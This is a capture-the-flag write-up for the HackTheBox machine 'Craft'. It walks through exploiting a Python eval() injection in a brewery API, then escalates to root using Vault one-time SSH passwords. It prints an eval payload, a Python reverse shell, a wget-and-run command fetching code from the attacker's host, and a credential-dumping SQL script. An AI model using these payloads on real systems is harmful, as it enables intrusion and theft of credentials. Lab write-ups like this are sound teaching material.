HTB Write-up: Craft

15 minute read

Craft is a medium-difficulty Linux system. To reach the user.txt flag, a variety of small hurdles must be overcome. The majority of this process involves getting to the bottom of what’s up with the beer-themed Craft API. It seems that one of the developers had a few too many craft IPAs before pushing some sloppy changes to the Craft API Gogs repository. The steps to user.txt all feel very “real” and make for a great exprience. The route to the root.txt flag is fairly straight forward and even more obvious. Reading the relevant documentation will get you there.

craft_info

User

To start the process, a port scan was run against the target using masscan. The purpose of this intial scan was to quickly determine which ports are open so that a more focused nmap scan could be performed that targets only the open ports discovered by masscan.

root@kali:~/workspace/hackthebox/Craft# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.98

From masscan, it was revealed that TCP ports 22 (SSH), 443 (HTTPS), and 6022 were listening for connections. Using this information, a second scan was run using nmap to more thoughoughly examine the services listening on the discovered ports.

root@kali:~/workspace/hackthebox/Craft# nmap -p 22,443,6022 -sC -sV -oA scans/discovered-tcp 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 09:48 MST
Nmap scan report for api.craft.htb (10.10.10.110)
Host is up (0.061s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=1/4%Time=5E10C1E9%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.08 seconds

This confirms that the protocols being used on on TCP ports 22 and 443 and suggests that an additional SSH service is running on TCP port 6022. After using Google, searchsploit, and other resources to search for possible vulnerabilities related to the services and versions discovered by nmap, it was discovered that while vulnerabilities appear to exist for the SSH services running on ports 22 and 6022, the vulnerabilities do not seem particularly helpful or relevant in this case.

After running echo "10.10.10.110 craft.htb" >> /etc/hosts on the testing system, a web browser was opened and https://craft.htb was visited, revealing the page shown below.

web_page.gif

Notice that mousing over the two links in the corner reveals the subdomains of api.craft.htb as well as gogs.craft.htb. Therefore, both subdomains were added to the /etc/hosts file in the same manner as shown above (echo "10.10.10.110 api.craft.htb" >> /etc/hosts; echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts).

Following the api.craft.htb link directs to “Craft API” page. The page suggests that the API can be used to generate authorization tokens, check the validity of authorization tokens, and interact with “beer” using a variety of operations. Notice that the POST and PUT methods likely open the door to writing user-supplied code to the server and underlying databases.

craft_api.png

After experimenting with the API functionality for a little while, it became apparent that a valid authorization token was required before any of the risky methods (i.e. POST, PUT, and DELETE) could be utilized. A valid authorization token is generated after providing a valid set of credentials at https://api.craft.htb/api/auth/login.

auth.png

Visiting the https://gogs.craft.htb URL initially directs to a Gogs landing page. According to othe landing page, Gogs is “a painless self-hosted Git service”. Gogs essentially works as a self-hosted, open source, version of GitHub. From the landing page, clicking the “Explore” tab directs to the page demonstrated below.

explore_page.gif

The page shows one private repository called Craft/craft-api, three users, and the Craft organization. Starting with the repository, it immediately stands out that there is one outstanding issue (found at https://gogs.craft.htb/Craft/craft-api/issues/2) with the “Craft API” file craft_api/api/brew/endpoints/brew.py. Within the comment section of this issue, the dinesh user suggests that impossible ABV values can be written to the database using a POST API call to https://api.craft.htb/api/brew/. The user includes an API authorization token in the example command (shown below), however the token is no longer valid.

curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

The ebachman user suggests that dinesh fix the issue himself, so dinesh decides to push fix c414b16057 (found at https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6).

fix.png

The fix involves checking the value stored within the request.json['abv'] JSON object via the Python eval() function. The eval() function is very dangerous whenever it accepts untrusted-user input! Referencing the dinesh user’s example command, it is clear that the the request.json['abv'] value is chosen by a user. The gilfoyle user hints at this problem in the final comment in the open issue thread.

Can we remove that sorry excuse for a “patch” before something awful happens?

To leverage this, however, a valid API authorization token is needed, and therefore, a set of credentials is needed. The gilfoyle user hints at this problem in the final comment in the open issue thread.

Further enumeration of the Craft/craft-api repository lead to the craft_api/tests/test.py file with the a2d28ed155 commit comment of “Cleanup test” from the dinesh user. Viewing this file suggests that it was used by dinesh to test the changes he made to address the impossible ABV value issue mentioned previously. It also suggests that at one point, the test.py file was not so “clean”. In the test.py Python file, there is a line of code that interacts with https://api.craft.htb/api/auth/login URL where API authentication codes are created.

...
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
...

Following the “History” link while viewing the test.py file in a browser window shows that two commits have been made.

commit_history.png

As it turns out, the initial 10e3ba4f0a commit is not so clean, as the empty auth variable referenced above contains credentials for the dinesh user.

...
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
...

Additionally, with this file the dinesh user has created a script that can be used by an attacker to exploit the eval() vulnerability mentioned previously. This can be accomplished by simply replacing brew_dict['abv'] key value of 15.0 with Python code. The original test.py code is shown below, as it will later be used to execute code on the target system.

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

To demonstrate the issue with untrusted- and unsanitized- user input to Python’s eval() function, consider the following scenario. First using a Python console, a test function was a created that served to immitate the risky implementation of the eval() function within the craft_api/api/brew/endpoints/brew.py Craft API file.

def test_func():
    if eval('%s > 1' % brew_dict['abv']):
        return "ABV must be a decimal value less than 1.0", 400
    else:
        return "Whatever"

Next (still within the Python console), the brew_dict dictionary and the brew_dict['abv'] value were created. The value chosen for the abv key below was chosen to demonstrate how dinesh hoped his changes to brew.py would work.

brew_dict = {}
brew_dict['abv'] = '15.0'

Running test_func() displays the expected results. Nothing wrong here, right?

>>> test_func()
('ABV must be a decimal value less than 1.0', 400)

Changing the value of the brew_dict['abv'] to something more malicious, however, could result in an outcome that dinesh did not consider.

brew_dict['abv'] = '__import__("os").system("pwd")'

Running test_func() again with the new brew_dict['abv'] value results in the pwd command being executed (and the else condition being met).

>>> test_func()
/root/workspace/hackthebox/Craft
'Whatever'

This demonstrates code execution on the local (attacking) system. To gain remote code execution on the target system, the test.py file (shown previously in full above) was replicated on the local system (recall that test.py already contains credentials for dinesh). Then, line 20 of test.py was changed from brew_dict['abv'] = '15.0' to brew_dict['abv'] = '__import__("os").system("ping -c 3 10.10.14.22")' (note that 10.10.14.22 is the IP address of the local system on the HackTheBox network).

In a separate terminal window on the local system, the tcpdump -nni any icmp command was run to display any ICMP network traffic received on any network interface. Then, the test.py file was run on the local system. The results of this are demonstrated below.

ping.gif

This confirms that remote code execution on the target system is possible through the eval() function in brew.py. Leveraging this to gain access to the remote system took some experimentation, as simple reverse shell payloads did not seem to work, and little feedback is returned regarding the reason (note: this is due to how the function within brew.py is written where the eval() function is implemented).

To help understand the state of the remote system (and to potentially identify why simple reverse shell payloads were not working), the following general process was followed.

First, a simple HTTP server was created on the local system with python3 -m http.server 80. Then, the previously-used ping -c 3 10.10.14.22 payload was replaced with something like wget http://10.10.14.22/$(echo $(pwd)). In other words, line 20 of test.py was changed to brew_dict['abv'] = '__import__("os").system("wget http://10.10.14.22/$(echo $(pwd))")'. Running test.py shows the following in the terminal window where the Python HTTP server is listening.

10.10.10.110 - - [04/Jan/2020 11:55:31] code 404, message File not found
10.10.10.110 - - [04/Jan/2020 11:55:31] "GET //opt/app HTTP/1.1" 404 -

This shows that the pwd on the remote system is /opt/app. Changing the pwd command in test.py to ls shows that this directory contains the Craft API files found in the Gogs repository.

10.10.10.110 - - [04/Jan/2020 11:58:58] code 404, message File not found
10.10.10.110 - - [04/Jan/2020 11:58:58] "GET /app.py HTTP/1.1" 404 -

Using this information it is likely that a Python file can be executed on the remote system to gain access. A Python reverse shell shell.py was created on the local (attacking) system.

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.22",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

After starting a nc listener on the local system with nc -lvp 4444 and with the Python HTTP server still running, the shell.py file was transferred to the remote target system and executed by changing the brew_dict['abv'] payload within test.py to wget http://10.10.14.22/shell.py -O shell.py && python ./shell.py.

caught_shell.gif

With a root shell on the remote system, it quickly becomes clear that something is a bit off. The output of ps waux shows that very few processes are running.

/opt/app # ps waux
PID   USER     TIME  COMMAND
    1 root      0:05 python ./app.py
  121 root      0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 4444 >/tmp/f
  124 root      0:00 cat /tmp/f
  125 root      0:00 /bin/sh -i
  126 root      0:00 nc 10.10.14.21 4444
  148 root      0:00 python ./shell.py
  150 root      0:00 /bin/sh -i
  153 root      0:00 ps waux

Also in the / directory of the system there is a .dockerenv file. This suggests that the Craft API is run within a Docker container on the remote system. While escaping the container seemed difficult in this case, the remote access to the system was valuable nonetheless, as a settings.py file . Going back to the contents of the Craft API repository, there is a file called craft-api/dbtest.py.

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

Running this file from the command line of the remote system results in the following expected (uninteresting) output.

/opt/app # python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}

Still, the dbtest.py file is interesting for two reasons. First, from the from craft_api import settings line, it is clear that there is a settings file that contains the database information including a database user and password (note: it turns out that these database credentials are rather unimportant). The settings file is not accessible via the Gogs Craft/craft-api repository, however it is accessible from the command line of the remote system.

/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Secondly, the dbtest.py file is running a SQL query against the brew table which is referenced in craft-api/craft_api/database/models.py on Gogs. Along with the brew table, a user table is also referenced in the aforementioned file. Knowing this, the contents of dbtest.py can be modified to run a SQL query that will display the information from the user table instead of the boring information from the brew table.

The dbtest.py file was edited on the local attacking system and then transferred to the remote system using wget http://10.10.14.22/dbtest.py -O dbtest.py (on the remote system’s CLI) and python3 -m http.server 80 (on the local system).

The newly modified dbtest.py file is represented below. Note the change to the sql variable and to the result variable.

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT * FROM `user`"
        cursor.execute(sql)
        result = cursor.fetchmany(1000)
        print(result)

finally:
    connection.close()

Running the new dbtest.py on the remote system provides the username and password combinations for the other Gogs users.

/opt/app # python dbtest.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Signing into Gogs as the gilfoyle user grants access to the user’s private craft-infra repository that is not available to any other user.

gilfoyle_infra.png

Within this repository there resides a craft-infra/.ssh/id_rsa private OpenSSH key. The id_rsa private key contents were copied to the local system. Then, the SSH service running on port 22 of the remote system was accessed as the gilfoyle user while specifying the path to the user’s private OpenSSH key on the local system using the -i flag.

root@kali:~/workspace/hackthebox/Craft# ssh gilfoyle@craft.htb -i ./id_rsa


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key './id_rsa': 

Entering the gilfoyle user’s Gogs password as the passphrase for the private key grants access to the system. The user.txt flag can now be read.

gilfoyle@craft:~$ cat user.txt
bbf4b0ca<redacted>

Root

In the gilfoyle user’s home directory there is a .vault-token SSH file. Additionally, in the user’s private craft-infra Gogs repository there is a vault directory.

vault_dir.png

After a short bit of research, on HashiCorp’s Vault tool, it became apparent that Vault was being used to control access to the system.

The craft-infra/vault/secrets.sh file suggests that one-time passwords (OTP) are being used to access the system as root. It also seems that the SSH role has not been locked down sufficiently, as the cidr_list value of 0.0.0.0/0 will match any IP address. The contents of secrets.sh are shown below.

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

Reading the document provided by HashiCorp reinforces this hunch. The document outlines the steps required to configure the Vault SSH secrets engine in one-time SSH password mode. The guide includes the vault secrets enable ssh command as well as an example of the vault write command, both of which are present in the secrets.sh script included above.

Issuing the vault secrets enable ssh command on the remote system as the gilfoyle user hints that the commands within secrets.sh have already been executed.

gilfoyle@craft:~$ vault secrets enable ssh
Error enabling: Error making API request.

URL: POST https://vault.craft.htb:8200/v1/sys/mounts/ssh
Code: 400. Errors:

* existing mount at ssh/

Furthermore, the SSH secrets engine guide demonstrates the creation of a policy file (the gilfoyle user’s Gog repository file craft-infra/vault/config.hcl), and the configuration of a Vault user. The Vault user first must authenticate to Vault before an OTP credential can be generated. In the guide, a user is created with the userpass authentication method. Authenticating to Vault with the userpass authentication method requires a Vault username and password. Attempting to authenticate to Vault with the gilfoyle user’s heavily-resused Gogs credentials does not succeed.

gilfoyle@craft:~$ vault login -method=userpass username=gilfoyle password=ZEU3N8WNM2rh4T
Error authenticating: Error making API request.

URL: PUT https://vault.craft.htb:8200/v1/auth/userpass/login/gilfoyle
Code: 400. Errors:

* invalid username or password

More Google searching revealed that the token authentication method is an alternative authentication method to the userpass method. Recall the .vault-token in the gilfoyle user’s /home directory.

gilfoyle@craft:~$ cat .vault-token 
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

Authenticating to Vault with this token using the vault login token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 command succeeds.

gilfoyle@craft:~$ vault login token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

Finally, another helpful document from HashiCorp mentions that an authenticated Vault user can use a single CLI command to request credentials from the Vault server. If authorized, the user will be issued an OTP SSH password.

Issuing the command vault ssh -role root_otp -mode otp root@craft.htb grants access to the system as the root user using a one-time SSH password provided by Vault.

otp.gif

From here, the root.txt flag can be read.

root@craft:~# cat root.txt
831d64ef<redacted>